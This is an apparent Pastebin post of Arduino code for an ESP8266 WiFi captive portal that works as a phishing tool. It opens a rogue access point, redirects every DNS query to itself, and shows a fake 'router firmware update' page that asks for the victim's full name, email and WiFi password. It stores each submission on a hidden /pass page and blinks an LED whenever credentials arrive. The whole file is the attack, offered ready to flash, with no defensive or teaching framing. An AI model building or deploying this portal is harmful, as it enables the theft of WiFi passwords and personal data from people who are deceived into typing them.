Advertisement
michalmonday

ESP8266_WiFi_Captive_Portal - Sam G

Feb 3rd, 2019
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ESP8266 WiFi Captive Portal
  2. // By BlueArduino20
  3. // Based on: PopupChat https://github.com/tlack/popup-chat
  4.  
  5. // Includes
  6. #include <ESP8266WiFi.h>
  7. #include <DNSServer.h>
  8. #include <ESP8266WebServer.h>
  9.  
  10. // User configuration
  11. #define SSID_NAME "My SSID"
  12. #define SUBTITLE "Router info."
  13. #define TITLE "Update"
  14. #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally."
  15. #define POST_TITLE "Updating..."
  16. #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you."
  17. #define PASS_TITLE "Passwords"
  18. #define CLEAR_TITLE "Cleared"
  19.  
  20. // Init System Settings
  21. const byte HTTP_CODE = 200;
  22. const byte DNS_PORT = 53;
  23. const byte TICK_TIMER = 1000;
  24. IPAddress APIP(10, 10, 10, 1); // Gateway
  25.  
  26. String allPass="";
  27. unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;
  28. DNSServer dnsServer; ESP8266WebServer webServer(80);
  29.  
  30. String input(String argName) {
  31.   String a=webServer.arg(argName);
  32.   a.replace("<","&lt;");a.replace(">","&gt;");
  33.   a.substring(0,200); return a;
  34. }
  35.  
  36. String footer() { return
  37.   "</div><div class=q><a>&#169; All rights reserved.</a></div>";
  38. }
  39.  
  40. String header(String t) {
  41.   String a = String(SSID_NAME);
  42.   String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
  43.     "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
  44.     "div { padding: 0.5em; }"
  45.     "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
  46.     "input { border-radius: 0; border: 1px solid #555555; }"
  47.     "label { color: #333; display: block; font-style: italic; font-weight: bold; }"
  48.     "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
  49.     "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
  50.     "textarea { width: 100%; }";
  51.   String h = "<!DOCTYPE html><html>"
  52.     "<head><title>"+a+" :: "+t+"</title>"
  53.     "<meta name=viewport content=\"width=device-width,initial-scale=1\">"
  54.     "<style>"+CSS+"</style></head>"
  55.     "<body><nav><b>"+a+"</b> "+SUBTITLE+"</nav><div><h1>"+t+"</h1></div><div>";
  56.   return h; }
  57.  
  58. String pass() {
  59.   return header(PASS_TITLE) + "<ol>"+allPass+"</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
  60. }
  61.  
  62. String index() {
  63.   return header(TITLE) + "<div>" + BODY + "</ol></div><center><div><form action=/post method=post>" +
  64.                         "<label>Full Name:</label><input type=text name=fullname></input>"+
  65.                         "<label>Email:</label><input type=email name=email></input>"+
  66.                         "<label>WiFi password:</label><input type=password name=password></input>"+
  67.                         "<input type=submit value=Start></form></center>" + footer();
  68. }
  69.  
  70. String posted() {
  71.   String pass=input("password");
  72.   String email=input("email");
  73.   String fullname=input("fullname");
  74.   allPass="<li><b>"+ fullname + " - " + email + " - " + pass + "</b></li>"+allPass;
  75.   return header(POST_TITLE) + POST_BODY + footer();
  76. }
  77.  
  78. String clear() {
  79.   String pass="<p></p>"; allPass="<p></p>";
  80.   return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
  81. }
  82.  
  83. void BLINK() { // The internal LED will blink 5 times when a password is received.
  84.   int count = 0;
  85.   while(count < 5){
  86.     digitalWrite(BUILTIN_LED, LOW);
  87.     delay(500);
  88.     digitalWrite(BUILTIN_LED, HIGH);
  89.     delay(500);
  90.     count = count + 1;
  91.   }
  92. }
  93.  
  94. void setup() {
  95.   bootTime = lastActivity = millis();
  96.   WiFi.mode(WIFI_AP);
  97.   WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
  98.   WiFi.softAP(SSID_NAME);
  99.   dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)
  100.   webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
  101.   webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); });
  102.   webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });
  103.   webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });
  104.   webServer.begin();
  105.   pinMode(BUILTIN_LED, OUTPUT);
  106.   digitalWrite(BUILTIN_LED, HIGH);
  107. }
  108.  
  109.  
  110. void loop() {
  111.   if ((millis()-lastTick)>TICK_TIMER) {lastTick=millis();}
  112. dnsServer.processNextRequest(); webServer.handleClient(); }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement